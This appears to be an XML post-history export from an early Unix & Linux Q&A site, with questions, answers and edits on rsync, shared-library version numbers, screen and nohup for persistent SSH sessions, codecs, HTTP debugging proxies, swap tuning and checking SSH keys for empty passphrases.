  <row Id="877" PostHistoryTypeId="1" PostId="470" RevisionGUID="dfece1cb-acaf-4542-bda2-eb47fcf98da4" CreationDate="2010-08-13T18:37:09.550" UserId="298" Text="rsync time comparison - what's the precision of the Modified times comparison" />
  <row Id="878" PostHistoryTypeId="3" PostId="470" RevisionGUID="dfece1cb-acaf-4542-bda2-eb47fcf98da4" CreationDate="2010-08-13T18:37:09.550" UserId="298" Text="éunixàécommandölineà" />
  <row Id="879" PostHistoryTypeId="2" PostId="471" RevisionGUID="b8656f9c-dc9d-461d-8816-e64213d6bc67" CreationDate="2010-08-13T18:44:51.063" UserId="298" Text="A client program like filezilla can do this as well... the connection type you specify is 'sftp' which is misleading, since it actually doesn't require an sftp server, just ssh access to a machine. &#xD;&#xA; " />
  <row Id="880" PostHistoryTypeId="5" PostId="188" RevisionGUID="9e3d8830-f4bf-4a81-96de-561abbbd8393" CreationDate="2010-08-13T19:00:01.670" UserId="190" Comment="Attempted to clarify the question." Text="I have a linux based router that doesn't have the SFTP server installed. More specifically, when I `sftp user@ipaddress` I get a `sh: /user/libexec/sftp-server: not found` error. My interest isn't trying to resolve this error by installing a new package (&quot;distro&quot; is specific to the router, and I'm not interested in trying to modify it). &#xD;&#xA;&#xD;&#xA;What I am interested in is finding a command line utility that works like sftp but uses scp as the transfer mechanism." />
  <row Id="881" PostHistoryTypeId="2" PostId="472" RevisionGUID="3b702339-2ed8-47f8-8484-8011641c1804" CreationDate="2010-08-13T19:24:34.280" UserId="298" Text="Here's me answering my own question:&#xD;&#xA;&#xD;&#xA;rsync uses the &#xD;&#xA;utime() call which sets the modification time of a file down to 1 second resolution.  So, effectively, files that are the same up to the second, are considered the same for the time comparison piece of rsync's checks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="882" PostHistoryTypeId="2" PostId="473" RevisionGUID="f7dce3d9-6609-474a-8d18-a7106c499c13" CreationDate="2010-08-13T19:29:40.400" UserId="298" Text="You can install gnome terminal on mac os X using fink, or other unix package tool available on the mac.  You will have to have X11 running though which may not be ideal, depending on your needs.  Also, I'd suggest learning actual shell specific commands for moving around in a terminal, as those will generally be the same regardless of the terminal emulator you are using.  That is, as long as you have a bash shell, Ctrl-a will get you to the beginning of a line in *any* terminal (gnome termainal, kterm, xterm, rxvt, etc.) assuming that they aren't doing something silly like stealing your control characters!  " />
  <row Id="883" PostHistoryTypeId="2" PostId="474" RevisionGUID="fbeca5f7-2511-4b27-a15f-c747979e782e" CreationDate="2010-08-13T19:44:16.870" UserId="298" Text="use the command &quot;F&quot; while inside of less.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;less mylogfile.txt&#xD;&#xA;F&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;or, to do so automatically, use the +cmd option:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;less +cmdF mylogfile.txt&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="884" PostHistoryTypeId="5" PostId="474" RevisionGUID="b8f37b06-e5d6-4e16-92e4-7b0f115ebaaa" CreationDate="2010-08-13T19:50:11.863" UserId="298" Comment="deleted 3 characters in body" Text="use the command &quot;F&quot; while inside of less.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;less mylogfile.txt&#xD;&#xA;F&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;or, to do so automatically, use the +cmd option:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;less +F mylogfile.txt&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="885" PostHistoryTypeId="2" PostId="475" RevisionGUID="97b37667-5b37-4044-9110-426b8e01e400" CreationDate="2010-08-13T20:36:00.863" UserId="119" Text="Hi All,&#xD;&#xA;&#xD;&#xA;This is one of those questions I'm not sure where it falls, so bear with me.&#xD;&#xA;&#xD;&#xA;I'm aware that shared objects under Linux use &quot;so numbers&quot;, namely that different versions of a shared object are given different extensions, for example:&#xD;&#xA;&#xD;&#xA; - `example.so.1`&#xD;&#xA; - `example.so.2`&#xD;&#xA;&#xD;&#xA;I understand the idea is to have two distinct files such that two versions of a library can exist on a system (as opposed to &quot;DLL Hell&quot; on Windows). I'd like to know how this works in practice? Often, I see that `example.so` is in fact a symbolic link to `example.so.2` where `.2` is the latest version. How then does an application depending on an older version of `example.so` identify it correctly? Are there any rules as to what numbers one must use? Or is this simply convention? Is it the case that, unlike in Windows where software binaries are transferred between systems, if a system has a newer version of a shared object it is linked to the older version automatically when compiling from source?&#xD;&#xA;&#xD;&#xA;I suspect this is related to `ldconfig` but I'm not sure how. I also apologise as this is relatively open ended-I suspect however it can be answered." />
  <row Id="886" PostHistoryTypeId="1" PostId="475" RevisionGUID="97b37667-5b37-4044-9110-426b8e01e400" CreationDate="2010-08-13T20:36:00.863" UserId="119" Text="How do SO (shared object) numbers work?" />
  <row Id="887" PostHistoryTypeId="3" PostId="475" RevisionGUID="97b37667-5b37-4044-9110-426b8e01e400" CreationDate="2010-08-13T20:36:00.863" UserId="119" Text="élinuxàésharedöobjectsà" />
  <row Id="888" PostHistoryTypeId="2" PostId="476" RevisionGUID="19b37f6c-676f-469d-b9b3-c9230fa59f04" CreationDate="2010-08-13T21:11:27.317" UserId="73" Text="Binaries themselves know which version of a shared library they depend on, and request it specifically. You can use `ldd` to show the dependencies; mine for `ls` are:&#xD;&#xA;&#xD;&#xA;    &gt; ldd =ls&#xD;&#xA;        linux-gate.so.1 =&gt;  (0xb784e000)&#xD;&#xA;        librt.so.1 =&gt; /lib/librt.so.1 (0xb782c000)&#xD;&#xA;        libacl.so.1 =&gt; /lib/libacl.so.1 (0xb7824000)&#xD;&#xA;        libc.so.6 =&gt; /lib/libc.so.6 (0xb76dc000)&#xD;&#xA;        libpthread.so.0 =&gt; /lib/libpthread.so.0 (0xb76c3000)&#xD;&#xA;        /lib/ld-linux.so.2 (0xb784f000)&#xD;&#xA;        libattr.so.1 =&gt; /lib/libattr.so.1 (0xb76bd000)&#xD;&#xA;&#xD;&#xA;As you can see, it points to e.g. `libpthread.so.0`, not just `libpthread.so`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The reason for the symbolic link is for the linker. When you want to link against `libpthread.so` directly, you give `gcc` the flag `-lpthread`, and it adds on the `lib` prefix and `.so` suffix automatically. You can't tell it to add on the `.so.0` suffix, so the symbolic link points to the newest version of the lib to faciliate that" />
  <row Id="889" PostHistoryTypeId="2" PostId="477" RevisionGUID="594b8db8-9e70-4fb0-9491-e514a822b727" CreationDate="2010-08-13T21:30:35.843" UserId="5" Text="I would like to deploy the following swapping policy:&#xD;&#xA;&#xD;&#xA; * By default all pages in memory should also be in swap space.&#xD;&#xA; * When a page in memory is changed (i.e. dirty), the page should be written out as soon as possible, but with lower priority than other processes.&#xD;&#xA; * if a certain configurable watermark is reached, (let's say 80% of pages are dirty), the priority will be   equal as other processes.&#xD;&#xA;&#xD;&#xA;Is this kind of swapping policy possible with the linux kernel? If so, how do I set the kernel settings to achieve this?" />
  <row Id="890" PostHistoryTypeId="1" PostId="477" RevisionGUID="594b8db8-9e70-4fb0-9491-e514a822b727" CreationDate="2010-08-13T21:30:35.843" UserId="5" Text="How can I tweak the kernel for total swap out?" />
  <row Id="891" PostHistoryTypeId="3" PostId="477" RevisionGUID="594b8db8-9e70-4fb0-9491-e514a822b727" CreationDate="2010-08-13T21:30:35.843" UserId="5" Text="élinuxàésettingsàéswappingàékernelà" />
  <row Id="892" PostHistoryTypeId="2" PostId="478" RevisionGUID="ed6831de-7852-48ae-8982-f73ec2e60568" CreationDate="2010-08-13T21:56:31.303" UserId="239" Text="The question is whether or not you actually have the necessary files installed on your VM. gnome-display-properties seems to belong to the gnome-control-center package for OpenSuse. You can open the Install Software program in OpenSuse and look to see if this package is installed, or you can do a search using `zypper search gnome-control-center`. You will need to be the super user to install it, if it is not already installed." />
  <row Id="893" PostHistoryTypeId="2" PostId="479" RevisionGUID="b2685575-7590-4d8d-93cf-c2bd5f320a9f" CreationDate="2010-08-14T00:15:36.830" UserId="244" Text="I sometimes have long running processes that I want to kick off before going home, so I create a SSH session to the server to start the process, but then I want to close my laptop and go home and later, after dinner, I want to check on the process that I started before leaving work. How can I do that with SSH? My understanding is that if you break your SSH connection you will also break your login session on the server, therefore killing the long running process..." />
  <row Id="894" PostHistoryTypeId="1" PostId="479" RevisionGUID="b2685575-7590-4d8d-93cf-c2bd5f320a9f" CreationDate="2010-08-14T00:15:36.830" UserId="244" Text="Keep SSH Sessions running after disconnection." />
  <row Id="895" PostHistoryTypeId="3" PostId="479" RevisionGUID="b2685575-7590-4d8d-93cf-c2bd5f320a9f" CreationDate="2010-08-14T00:15:36.830" UserId="244" Text="ésshà" />
  <row Id="896" PostHistoryTypeId="2" PostId="480" RevisionGUID="7a7dd535-76c2-47c4-80c9-4da132339a0d" CreationDate="2010-08-14T01:04:17.513" UserId="85" Text="You want to be using GNU Screen.  It is super awesome!&#xD;&#xA;&#xD;&#xA;    ssh me@myserver.com&#xD;&#xA;    screen               #start a screen session&#xD;&#xA;    run-a-long-process&#xD;&#xA;    ctrl+a, d            #detatch from your screen session&#xD;&#xA;    exit                 #disconnect from the server, while run-a-long-process continues&#xD;&#xA;&#xD;&#xA;When you come back to your laptop:&#xD;&#xA;&#xD;&#xA;    ssh me@myserver.com&#xD;&#xA;    screen -r            #resume the screen session&#xD;&#xA;&#xD;&#xA;Then check out the progress of your long-running process!&#xD;&#xA;&#xD;&#xA;`screen` is a very comprehensive tool, and can do a lot more than what I've described.  While in a screen session, try ctrl+a,? to learn a few common commands.  Probably the most common are:&#xD;&#xA;&#xD;&#xA;* ctrl+a,c to create a new window&#xD;&#xA;* ctrl+a,n to switch to the next window in your screen session&#xD;&#xA;* if you log in from a bunch of different systems, you may have accidentally left yourself attached to an active screen session on a different computer. for that reason, I always resume with `screen -d -r` to ensure that if another shell is attached to my screen session, it will be detached before I resume it on my current system." />
  <row Id="897" PostHistoryTypeId="5" PostId="480" RevisionGUID="4425fb64-2f6f-40e4-89b9-b7ae1a251d98" CreationDate="2010-08-14T01:14:04.717" UserId="85" Comment="added 196 characters in body" Text="You want to be using GNU Screen.  It is super awesome!&#xD;&#xA;&#xD;&#xA;    ssh me@myserver.com&#xD;&#xA;    screen               #start a screen session&#xD;&#xA;    run-a-long-process&#xD;&#xA;&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; , &lt;kbd&gt;d&lt;/kbd&gt; to detatch from your screen session&#xD;&#xA;&#xD;&#xA;    exit                 #disconnect from the server, while run-a-long-process continues&#xD;&#xA;&#xD;&#xA;When you come back to your laptop:&#xD;&#xA;&#xD;&#xA;    ssh me@myserver.com&#xD;&#xA;    screen -r            #resume the screen session&#xD;&#xA;&#xD;&#xA;Then check out the progress of your long-running process!&#xD;&#xA;&#xD;&#xA;`screen` is a very comprehensive tool, and can do a lot more than what I've described.  While in a screen session, try ctrl+a,? to learn a few common commands.  Probably the most common are:&#xD;&#xA;&#xD;&#xA;* &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; , &lt;kbd&gt;c&lt;/kbd&gt; to create a new window&#xD;&#xA;* &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; , &lt;kbd&gt;n&lt;/kbd&gt; to switch to the next window in your screen session&#xD;&#xA;* &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; , &lt;kbd&gt;p&lt;/kbd&gt; to switch to the previous window in your screen session&#xD;&#xA;* if you log in from a bunch of different systems, you may have accidentally left yourself attached to an active screen session on a different computer. for that reason, I always resume with `screen -d -r` to ensure that if another shell is attached to my screen session, it will be detached before I resume it on my current system." />
  <row Id="898" PostHistoryTypeId="6" PostId="479" RevisionGUID="a2c712da-57ac-4f1d-8713-ec28eb30b558" CreationDate="2010-08-14T01:38:02.647" UserId="85" Comment="edited tags" Text="écommandölineàésshàéscreenà" />
  <row Id="899" PostHistoryTypeId="2" PostId="481" RevisionGUID="2cadc584-defd-43fa-a802-cb9c69b78cc7" CreationDate="2010-08-14T02:33:04.497" UserId="228" Text="The numbers in the shared libraries are convention used in Linux to identify the API of a library.   Typically the format is:&#xD;&#xA;&#xD;&#xA;    libFOO.MAJOR.MINOR.SO&#xD;&#xA;&#xD;&#xA;And as you noticed usually there is a symbolic link from libFOO.so to libFOO.MAJOR.MINOR.so&#xD;&#xA;&#xD;&#xA;The MAJOR is typically incremented when the API changes (new entry points are removed or the parameters or types changed).   The MINOR typically is incremented for bug fix releases or when new APIs are introduced without breaking existing APIs.&#xD;&#xA;&#xD;&#xA;The ldconfig command is responsible for creating the libFOO.so link to the latest version of libFOO.MAJOR.MINOR.so&#xD;&#xA;&#xD;&#xA;A more extensive discussion can be found here:&#xD;&#xA;&#xD;&#xA;http://www.ibm.com/developerworks/web/library/l-shlibs.html" />
  <row Id="900" PostHistoryTypeId="2" PostId="482" RevisionGUID="d431832e-a341-44a2-a419-6dde141bbeb0" CreationDate="2010-08-14T03:04:55.917" UserId="85" Text="Almost every desktop *nix seems to ship without support for MP3 or other popular codecs that you really need.&#xD;&#xA;&#xD;&#xA;What is the easiest way to add support for these codecs?" />
  <row Id="901" PostHistoryTypeId="1" PostId="482" RevisionGUID="d431832e-a341-44a2-a419-6dde141bbeb0" CreationDate="2010-08-14T03:04:55.917" UserId="85" Text="How do I add MP3/etc support to my *nix desktop?" />
  <row Id="902" PostHistoryTypeId="3" PostId="482" RevisionGUID="d431832e-a341-44a2-a419-6dde141bbeb0" CreationDate="2010-08-14T03:04:55.917" UserId="85" Text="émediaà" />
  <row Id="903" PostHistoryTypeId="2" PostId="483" RevisionGUID="835523cc-f388-40c9-813d-fed4d012b8aa" CreationDate="2010-08-14T03:07:42.417" UserId="47" Text="I would like something that allows me to:&#xD;&#xA;&#xD;&#xA;  1. Inspect all HTTP(S) traffic between my computer and the Internet, including 127.0.0.1&#xD;&#xA;  2. Modify incoming or outgoing data&#xD;&#xA;  3. It would also be nice if it had a scripting subsystem for setting rules and events&#xD;&#xA;  4. I prefer it be a GUI application.&#xD;&#xA;&#xD;&#xA;Please do not answer with [WireShark][1].  I am aware of WireShark and I have used it many many times and it's a great app.  I would like something that restricts it's captures to the application layer and HTTP(S) traffic only and ignores the other Internet Protocol Suite layers.  Also, it doesn't have some of the features I listed above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wireshark.org/" />
  <row Id="904" PostHistoryTypeId="1" PostId="483" RevisionGUID="835523cc-f388-40c9-813d-fed4d012b8aa" CreationDate="2010-08-14T03:07:42.417" UserId="47" Text="Can anybody recommend an HTTP debugging proxy?" />
  <row Id="905" PostHistoryTypeId="3" PostId="483" RevisionGUID="835523cc-f388-40c9-813d-fed4d012b8aa" CreationDate="2010-08-14T03:07:42.417" UserId="47" Text="élinuxàégnomeàéhttpöloggingàéhttpöproxyà" />
  <row Id="906" PostHistoryTypeId="2" PostId="484" RevisionGUID="270c4803-df30-41bf-84d8-9f8e679bdf92" CreationDate="2010-08-14T03:20:04.393" UserId="228" Text="Here are a couple:&#xD;&#xA;&#xD;&#xA;* WebScarab: http://www.owasp.org/index.php/OWASP_WebScarab_Project&#xD;&#xA;* Burp http://portswigger.net/proxy/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="907" PostHistoryTypeId="2" PostId="485" RevisionGUID="79d69e22-1284-49e3-b4cd-dc5a27e11367" CreationDate="2010-08-14T04:01:48.483" UserId="73" Text="Unfortunately, I think this is likely to be very distro specific; in general there's probably a package in your package manager that provides the capability, you just have to figure out what the name of it is&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;On Gentoo there are global use flags:&#xD;&#xA;&#xD;&#xA;* `mp3` -- Causes a package to depend on `media-sound/lame` for MP3 encoding&#xD;&#xA;* `mad` -- Causes a package to depend on `media-libs/libmad` for MP3 decoding" />
  <row Id="908" PostHistoryTypeId="2" PostId="486" RevisionGUID="15776891-1c6d-4c90-9725-b56b4dcbfc17" CreationDate="2010-08-14T04:37:21.963" UserId="183" Text="In Debian based distributions, such as Ubuntu, you first have to enable their non-free package repositories through your-favorite-package-manager.&#xD;&#xA;&#xD;&#xA;In synaptic open Settings &gt; Repositories and make sure all boxes are checked.&#xD;&#xA;&#xD;&#xA;In apt-get things are a bit more tricky.  You'll have to track down the URL for your distro's non-free repository and add it to your `/etc/apt/sources.list`.&#xD;&#xA;&#xD;&#xA;Then install your-favorite-mp3 lib, or simply reinstalling your-favorite-media-player.  If that doesn't work, just install VLC, any other media players you have running should pick up and run with the mp3 libraries it depends on." />
  <row Id="909" PostHistoryTypeId="2" PostId="487" RevisionGUID="4b5c9b59-edaa-425e-aea6-829f2fed71a1" CreationDate="2010-08-14T04:57:37.443" UserId="328" Text="What steps do you take to make a vanilla Ubuntu system run faster and use less memory?  I'm using Ubuntu as the OS for my general purpose PC, but it's on slightly older hardware and I want to get as much out of it as I can.  Short of leaner distros, what things do you do to make the standard Ubuntu OS run a bit faster for basic web browsing and word processing?  I'm hoping this can be a good guide for tweaking an Ubuntu system for speed." />
  <row Id="910" PostHistoryTypeId="1" PostId="487" RevisionGUID="4b5c9b59-edaa-425e-aea6-829f2fed71a1" CreationDate="2010-08-14T04:57:37.443" UserId="328" Text="Ubuntu - How do you free up resources?" />
  <row Id="911" PostHistoryTypeId="3" PostId="487" RevisionGUID="4b5c9b59-edaa-425e-aea6-829f2fed71a1" CreationDate="2010-08-14T04:57:37.443" UserId="328" Text="élinuxàéubuntuàémemoryàéefficencyà" />
  <row Id="912" PostHistoryTypeId="2" PostId="488" RevisionGUID="73f97420-5fd5-4b0b-a36c-143357dbe1dd" CreationDate="2010-08-14T05:00:58.843" UserId="138" Text="    $ nohup long-running-process &amp;&#xD;&#xA;    $ exit" />
  <row Id="913" PostHistoryTypeId="2" PostId="489" RevisionGUID="862b77f8-9b3d-48f8-9cb3-10e38d13d60c" CreationDate="2010-08-14T05:10:45.893" UserId="5" Text="It sounds quite counter-productive to me to cache pages that are swapped out. If you swap pages in, what is the advantage to first cache them in memory, only to have to than move them to the right place? Even if pages are swapped in proactively, doesn't it make more sense to &quot;just&quot; swap them in? Doesn't in fact caching swap is just a waste of resources?" />
  <row Id="914" PostHistoryTypeId="1" PostId="489" RevisionGUID="862b77f8-9b3d-48f8-9cb3-10e38d13d60c" CreationDate="2010-08-14T05:10:45.893" UserId="5" Text="Why does it makes sense to cache swap?" />
  <row Id="915" PostHistoryTypeId="3" PostId="489" RevisionGUID="862b77f8-9b3d-48f8-9cb3-10e38d13d60c" CreationDate="2010-08-14T05:10:45.893" UserId="5" Text="éswappingàékernelàécacheàéalgorithmsà" />
  <row Id="916" PostHistoryTypeId="2" PostId="490" RevisionGUID="3b7bc58f-6fda-439d-95ed-c27bda4aa60b" CreationDate="2010-08-14T06:00:47.523" UserId="78" Text="I'm looking for some common problems in unix system administration and ways that shell scripting can solve them. Completely for self-educational purposes. Also I'd like to know how would you go about learning shell scripting." />
  <row Id="917" PostHistoryTypeId="1" PostId="490" RevisionGUID="3b7bc58f-6fda-439d-95ed-c27bda4aa60b" CreationDate="2010-08-14T06:00:47.523" UserId="78" Text="Practical tasks to learn shell scripting." />
  <row Id="918" PostHistoryTypeId="3" PostId="490" RevisionGUID="3b7bc58f-6fda-439d-95ed-c27bda4aa60b" CreationDate="2010-08-14T06:00:47.523" UserId="78" Text="élinuxàéunixàéshellàéscriptingàélearningà" />
  <row Id="919" PostHistoryTypeId="2" PostId="491" RevisionGUID="64fdecf9-9b54-45e3-9d55-f258797ac0b0" CreationDate="2010-08-14T06:04:45.347" UserId="78" Text="What are your favorite and most usefull undocumented settings accessible via `defaults` utility on Mac OS X?" />
  <row Id="920" PostHistoryTypeId="1" PostId="491" RevisionGUID="64fdecf9-9b54-45e3-9d55-f258797ac0b0" CreationDate="2010-08-14T06:04:45.347" UserId="78" Text="Undocumented goodies in Mac OS X defaults?" />
  <row Id="921" PostHistoryTypeId="3" PostId="491" RevisionGUID="64fdecf9-9b54-45e3-9d55-f258797ac0b0" CreationDate="2010-08-14T06:04:45.347" UserId="78" Text="éosxàédefaultsàétipsöandötricksà" />
  <row Id="922" PostHistoryTypeId="16" PostId="491" RevisionGUID="64fdecf9-9b54-45e3-9d55-f258797ac0b0" CreationDate="2010-08-14T06:04:45.347" UserId="78" />
  <row Id="923" PostHistoryTypeId="5" PostId="491" RevisionGUID="3457f3c5-e591-48be-b3c3-cb01d4c75af4" CreationDate="2010-08-14T06:11:19.437" UserId="73" Comment="added 3 characters in body" Text="What are your favorite and most useful undocumented settings accessible via the `defaults` utility on Mac OS X?" />
  <row Id="924" PostHistoryTypeId="2" PostId="492" RevisionGUID="d876a669-315e-4564-bff9-cc88ae6e3997" CreationDate="2010-08-14T06:15:20.270" UserId="183" Text="Many Distributions offer what is called a Just Enough Operating System, or JeOS.  How you go about installing these varies from distro to distro.&#xD;&#xA;&#xD;&#xA;Under Debian based distributions, such as Ubuntu, if you use a Server Install ISO, you can install the JeOS by pressing F4 on the first menu screen to pick &quot;Minimal installation&quot;.&#xD;&#xA;&#xD;&#xA;Many distributions also provide Netinstall or USB boot install mediums that, because of limited resources, provide very striped down base systems to be built upon." />
  <row Id="925" PostHistoryTypeId="2" PostId="493" RevisionGUID="60d14b34-11e4-4005-905f-d1eae251ca0b" CreationDate="2010-08-14T06:30:06.293" UserId="183" Text="Any time you EVER find yourself doing something multiple times, script it.  Think as lazy as you possibly can.  Computers were built to do all of that menial crap.  Any thing that smells like busy work needs a shell script.&#xD;&#xA;&#xD;&#xA;Personally, I learned by rummaging around in Slackware for a couple of years. See what happens when you strip your system back as much as possible.  Learn to be comfortable with text. While everybody else is ooing and awing over NetworkManager, learn how simple it is to make your own damn NetworkManager.  Sure, it might not have as many use cases, but you can get something up and running, dynamically connecting via ethernet and wireless on-demand pretty simply enough.  " />
  <row Id="926" PostHistoryTypeId="2" PostId="494" RevisionGUID="e14cd57d-1a3a-41c0-9ca9-d10b664c3fa5" CreationDate="2010-08-14T07:00:13.610" UserId="5" Text="What you want to use is screen or even better a user-friendly wrapper around screen called byobu.&#xD;&#xA;&#xD;&#xA;Screen allows you to run multiple virtual terminal sessions in the same ssh session. A [tutorial][1] and [help pages][2] are available.&#xD;&#xA;&#xD;&#xA;[byobu][3] is a wrapper that allows to easily open new screens with a simple function key instead of key combination from ctrl-a. It also shows a status line with all the open virtual terminals which can be named.&#xD;&#xA;&#xD;&#xA;Another nice feature is the fact that all your screen can stay up while your ssh connection is disconnected. You just connect again via ssh and call byobu and everything is like before. &#xD;&#xA;&#xD;&#xA;At last some [screenshots][4] of byobu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntu-tutorials.com/2007/05/04/command-line-multitasking-with-screen/&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Screen&#xD;&#xA;  [3]: http://manpages.ubuntu.com/manpages/karmic/man1/byobu.1.html&#xD;&#xA;  [4]: http://unixlab.blogspot.com/2009/11/enhancing-terminals-with-byobu-on.html" />
  <row Id="927" PostHistoryTypeId="2" PostId="495" RevisionGUID="488d2583-c5e8-4c0c-adf9-f4c7c5a30c0e" CreationDate="2010-08-14T11:10:59.967" UserId="273" Text="Other people may be able to give examples of other things that will make a bigger difference or may have fancy system tweaking tips but the thing that springs to my mind is to change the desktop.&#xD;&#xA;&#xD;&#xA;It is relatively easy to try out XFCE and/ or LXDE as your desktop - just install them via Synaptic and select them at the log in screen. Both of these have, at least as far as I am concerned, a good balance between functionality and geegaws. If you find out that you really want the prettinesses of Gnome, at least you know the size of the trade off you are making." />
  <row Id="928" PostHistoryTypeId="2" PostId="496" RevisionGUID="2cd37539-bf50-4e93-82b8-f9c79670439a" CreationDate="2010-08-14T11:14:42.737" UserId="280" Text="Never even heard of this one and it doesn't make a lot of sense to me either. I still think the good old rule of making sure it just doesn't swap at all (except of course the reservations) is best.&#xD;&#xA;Now, theoretically, the caching of stuff in direct available memory which takes a while to load from something as slow as a disk, has an apparent advantage. But if you're able to cache to-be-swapped pages, why again swap in the first place?" />
  <row Id="929" PostHistoryTypeId="2" PostId="497" RevisionGUID="285c3888-f990-4971-a8dd-06f74c7a296f" CreationDate="2010-08-14T11:46:43.417" UserId="195" Text="How to learn it: Fall in love with the command-line. Use it regularly and pull up man pages often. Frequently, even. When I was first learning scripting, I couldn't count how many times I typed `man bash`. I also couldn't count how many times I pulled up the man page for another command." />
  <row Id="930" PostHistoryTypeId="5" PostId="477" RevisionGUID="a08c7474-9a0f-4997-8bcd-3374874aa91e" CreationDate="2010-08-14T14:55:01.937" UserId="5" Comment="added 490 characters in body; edited tags" Text="I would like to deploy the following swapping policy:&#xD;&#xA;&#xD;&#xA; * By default all pages in memory should also be in swap space.&#xD;&#xA; * When a page in memory is changed (i.e. dirty), the page should be written out as soon as possible, but with lower priority than other processes.&#xD;&#xA; * if a certain configurable watermark is reached, (let's say 80% of pages are dirty), the priority will be   equal as other processes.&#xD;&#xA;&#xD;&#xA;Is this kind of swapping policy possible with the linux kernel? If so, how do I set the kernel settings to achieve this?&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;Obviously the reason for this is to reduce the number of pages that need to be swapped out. Only dirty pages need to be written to disk, and this happens in the background over time. Therefore when page misses occur (i.e. the page is not in memory), there is no need to write any pages from memory to disk, but only from disk to memory. Therefore it reduced the probability of i/o bottlenecks because both swapping in and swapping out try to access the disk simultaneously." />
  <row Id="931" PostHistoryTypeId="6" PostId="477" RevisionGUID="a08c7474-9a0f-4997-8bcd-3374874aa91e" CreationDate="2010-08-14T14:55:01.937" UserId="5" Comment="added 490 characters in body; edited tags" Text="élinuxàéswappingàékernelàésettingsà" />
  <row Id="933" PostHistoryTypeId="2" PostId="498" RevisionGUID="ad9d7d8c-2266-41a8-b81f-640828c16536" CreationDate="2010-08-14T16:18:34.320" UserId="137" Text="Rather than listing one, I'll just point you to the [biggest database of them I know][1] and recommend their preference pane for easier tweaking of these hidden knobs.&#xD;&#xA;&#xD;&#xA;  [1]: http://secrets.blacktree.com/ " />
  <row Id="934" PostHistoryTypeId="16" PostId="498" RevisionGUID="ad9d7d8c-2266-41a8-b81f-640828c16536" CreationDate="2010-08-14T16:18:34.320" UserId="-1" />
  <row Id="935" PostHistoryTypeId="2" PostId="499" RevisionGUID="8c80cc75-c1b5-4810-b5b4-027dcf57fdb0" CreationDate="2010-08-14T16:28:56.650" UserId="137" Text="`make distribution` just installs new configuration files, while `mergemaster` walks interactively over all config files and asks you which ones you want (and intelligently upgrades files you never edited in the first place if possible). It even gives you the option to merge them as needed. Basically, it automates the process of installing updated config files, doing all the diffs automatically and giving you a nicer way of merging the old and new config trees.&#xD;&#xA;&#xD;&#xA;If you're curious how it works, `mergemaster` is [just a shell script][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/cvsweb.cgi/src/usr.sbin/mergemaster/mergemaster.sh?rev=1.72.2.6.2.1;content-type=text%2Fplain" />
  <row Id="936" PostHistoryTypeId="2" PostId="500" RevisionGUID="8731f635-0ee0-4fe1-ab48-8b12b259e253" CreationDate="2010-08-14T17:34:11.393" UserId="4" Text="Some of my systems have dozens of users. Users will use some of these &quot;ssh gateway&quot; nodes to SSH into other internal servers.&#xD;&#xA;&#xD;&#xA;We're concerned that some of these people use an unencrypted private SSH key (A key without a [passphrase][1]. [This is bad][2], because if a cracker ever gained access to their account on this machine, they could steal the private key and now have access to any machine which uses this same key. For security reasons, we require all users to encrypt their private SSH keys with a passphrase.&#xD;&#xA;&#xD;&#xA;How can I tell if a private key is not-encrypted (e.g. Does not contain a passphrase)? Is there a different method to do this on an ASCII-armored key vs. a non-ASCII-armored key?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-keygen&amp;sektion=1#DESCRIPTION&#xD;&#xA;  [2]: http://www.ibm.com/developerworks/library/l-keyc.html#N101B2" />
  <row Id="937" PostHistoryTypeId="1" PostId="500" RevisionGUID="8731f635-0ee0-4fe1-ab48-8b12b259e253" CreationDate="2010-08-14T17:34:11.393" UserId="4" Text="How can I determine if someone's SSH key contains an empty passphrase?" />
  <row Id="938" PostHistoryTypeId="3" PostId="500" RevisionGUID="8731f635-0ee0-4fe1-ab48-8b12b259e253" CreationDate="2010-08-14T17:34:11.393" UserId="4" Text="ésecurityàésshàéusersà" />
  <row Id="939" PostHistoryTypeId="5" PostId="500" RevisionGUID="5b638054-be04-430c-93a5-ddac09160ca3" CreationDate="2010-08-14T17:46:18.550" UserId="4" Comment="added 16 characters in body" Text="Some of my Linux &amp; FreeBSD systems have dozens of users. Users will use some of these &quot;ssh gateway&quot; nodes to SSH into other internal servers.&#xD;&#xA;&#xD;&#xA;We're concerned that some of these people use an unencrypted private SSH key (A key without a [passphrase][1]. [This is bad][2], because if a cracker ever gained access to their account on this machine, they could steal the private key and now have access to any machine which uses this same key. For security reasons, we require all users to encrypt their private SSH keys with a passphrase.&#xD;&#xA;&#xD;&#xA;How can I tell if a private key is not-encrypted (e.g. Does not contain a passphrase)? Is there a different method to do this on an ASCII-armored key vs. a non-ASCII-armored key?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-keygen&amp;sektion=1#DESCRIPTION&#xD;&#xA;  [2]: http://www.ibm.com/developerworks/library/l-keyc.html#N101B2" />
